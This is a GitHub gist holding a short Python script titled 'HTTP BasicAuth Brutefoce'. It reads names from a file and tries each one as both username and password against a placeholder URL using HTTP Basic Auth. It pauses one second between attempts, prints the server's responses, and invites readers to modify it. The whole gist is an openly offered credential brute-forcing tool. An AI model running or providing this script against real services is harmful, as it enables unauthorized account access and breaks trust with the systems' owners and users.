Skip to content

Instantly share code, notes, and snippets.

@ep4sh
Last active December 9, 2017 05:53
Show Gist options
  • Save ep4sh/4ef5e5def53e58c8ad53b7d320ff2732 to your computer and use it in GitHub Desktop.
Save ep4sh/4ef5e5def53e58c8ad53b7d320ff2732 to your computer and use it in GitHub Desktop.
HTTP BasicAuth Brutefoce
#Developed by @ep4sh
#This one brute with login:login entities
#U can modify this as u want
import requests
import time
from requests.auth import AuthBase
from requests.auth import HTTPBasicAuth
with open("login", "r") as f:
for line in f:
time.sleep(1)
auth = HTTPBasicAuth(line, line)
r = requests.post(url="http://domain", auth=auth)
print("\n\n***************************")
print(line)
print(r.text)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment